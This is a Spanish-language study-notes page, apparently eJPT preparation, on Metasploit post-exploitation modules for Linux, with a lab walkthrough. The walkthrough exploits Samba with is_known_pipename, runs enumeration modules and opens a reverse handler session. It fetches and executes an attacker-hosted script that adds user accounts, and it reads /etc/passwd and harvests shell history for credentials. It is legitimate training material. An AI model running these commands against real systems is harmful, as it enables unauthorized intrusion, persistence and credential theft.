> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-linux/modulos-de-postexplotacion-de-linux.md).

# Módulos de postexplotación de linux

**Metasploit Framework (MSF)** nos proporciona una serie de módulos diseñados específicamente para sistemas Linux comprometidos. Estos módulos automatizan tareas de enumeración y recolección de información que serían tediosas de realizar manualmente.

***

## 🔧 Enumerar Configuración del Sistema

Nos permite recolectar detalles como:

* Versión del kernel
* Distribución y versión del sistema operativo
* Procesos en ejecución
* Servicios habilitados

***

## 🌍 Enumerar Configuración de Red

Recolecta información sobre:

* Interfaces de red y direcciones IP
* Rutas configuradas
* DNS utilizados
* Conexiones activas

***

## 🧪 Comprobación de Máquina Virtual

Permite detectar si el sistema comprometido está ejecutándose dentro de una máquina virtual. Esto es útil para saber si estamos trabajando en un entorno de pruebas o honeypot.

***

## 🧬 Enumerar Variables de Entorno

Nos ayuda a identificar variables sensibles que puedan contener tokens, rutas importantes, claves API, configuraciones de contenedores o entornos de desarrollo.

***

## 🕵️‍♂️ Historial del Usuario

Revisar el historial de comandos (`.bash_history`, `zsh_history`, etc.) es una excelente fuente de credenciales, rutas de interés y comandos privilegiados ejecutados por el usuario.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/lAm5lNXDjWWVgHt1XAlL" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/ZA0aEZexemIHIIKZUVq0" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap -sS -sV -p- demo.ine.local
```

<figure><img src="/files/mYKoJ7ALDAQLNUvcH8Wz" alt=""><figcaption></figcaption></figure>

**Paso 4:** La máquina de destino se puede explotar utilizando el módulo exploit/linux/samba/is\_known\_pipename.

**Dominio:**

```
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOST demo.ine.local
check
exploit -z
```

<figure><img src="/files/Ik5pzdJMOSuOBmR5awAB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kJnN7bVROf0TVONrMQWW" alt=""><figcaption></figcaption></figure>

**Módulo 1:** post/linux/gather/enum\_configs

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_configs>

**Dominio:**

```
use post/linux/gather/enum_configs
set SESSION 1
run
```

<figure><img src="/files/8DvcmzOaLw2J4PdR9aLw" alt=""><figcaption></figcaption></figure>

**Módulo 2:** post/linux/gather/env

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/env>

**Dominio:**

```
use post/multi/gather/env
set SESSION 1
run
```

<figure><img src="/files/yysFOkKmrDb7tiUxQ8AT" alt=""><figcaption></figcaption></figure>

**Módulo 3:** post/linux/gather/enum\_network

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_network>

**Dominio:**

```
use post/linux/gather/enum_network
set SESSION 1
run
```

<figure><img src="/files/dkugALeIgdiQNQthLlhr" alt=""><figcaption></figcaption></figure>

**Módulo 4:** post/linux/gather/enum\_protections

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_protections>

**Dominio:**

```
use post/linux/gather/enum_protections
set SESSION 1
run
```

<figure><img src="/files/qU10Dupxym1QTHaGhOs5" alt=""><figcaption></figcaption></figure>

**Módulo 5:** post/linux/gather/enum\_system

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_system>

**Dominio:**

```
use post/linux/gather/enum_system
set SESSION 1
run
```

<figure><img src="/files/wzPLymlRtRfTmX0v4y1M" alt=""><figcaption></figcaption></figure>

**Módulo 6:** post/linux/gather/checkcontainer

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/checkcontainer>

**Dominio:**

```
use post/linux/gather/checkcontainer
set SESSION 1
run
```

<figure><img src="/files/YcxmwZrUNFV74Cffqc0C" alt=""><figcaption></figcaption></figure>

**Módulo 7:** post/linux/gather/checkvm

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/checkvm>

**Dominio:**

```
use post/linux/gather/checkvm
set SESSION 1
run
```

<figure><img src="/files/4DAQQPETAq1Wsb2AzA0P" alt=""><figcaption></figcaption></figure>

**Módulo 8:** post/linux/gather/enum\_users\_history

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_users\\_history>

**Dominio:**

```
use post/linux/gather/enum_users_history
set SESSION 1
run
```

<figure><img src="/files/Ft6df4TYZYAvMZm2G2os" alt=""><figcaption></figcaption></figure>

**Módulo 9:** post/multi/administración/sesión\_del\_sistema

**Enlace:** <https://www.rapid7.com/db/modules/post/multi/manage/system\\_session>

**Dominio:**

```
use post/multi/manage/system_session
set SESSION 1
set TYPE python
set HANDLER true
set LHOST 192.216.221.2
run
```

<figure><img src="/files/aL9sfImakYUwTIBfYJmK" alt=""><figcaption></figcaption></figure>

Ahora, creemos un archivo bash que creará un usuario en la máquina de destino cargando un archivo test.sh y lo ejecutará.

**Dominio:**

```
useradd hacker
useradd test
useradd nick
```

Ahora, ejecutemos el servidor Apache en la máquina del atacante y copiemos el archivo test.sh en la carpeta raíz.

<figure><img src="/files/sfhBsZ81wM5WGNi1wziB" alt=""><figcaption></figcaption></figure>

**Dominio:**

```
/etc/init.d/apache2 start
cp test.sh /var/www/html
```

<figure><img src="/files/ZkWiiRPyyeu3YqUQz1rD" alt=""><figcaption></figcaption></figure>

Ahora, usemos el módulo de post-explotación de descarga y ejecución en la máquina de destino.

**Módulo 10:** post/linux/manage/download\_exec

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/manage/download\\_exec>

**Dominio:**

```
use post/linux/manage/download_exec
set URL http://192.216.221.2/test.sh
set SESSION 1
run
```

<figure><img src="/files/y6pOEyML3kM9IH5GEExd" alt=""><figcaption></figcaption></figure>

Vamos a verificarlo interactuando con la sesión.

**Dominio:**

```
sessions -i 1
cat /etc/passwd
```

<figure><img src="/files/yXgT9xfkN3rWFQjnQ7oM" alt=""><figcaption></figcaption></figure>

#### Referencias

* [Post explotación](https://metasploit.help.rapid7.com/docs/metasploit-basics#sectionpost-exploitation-module)
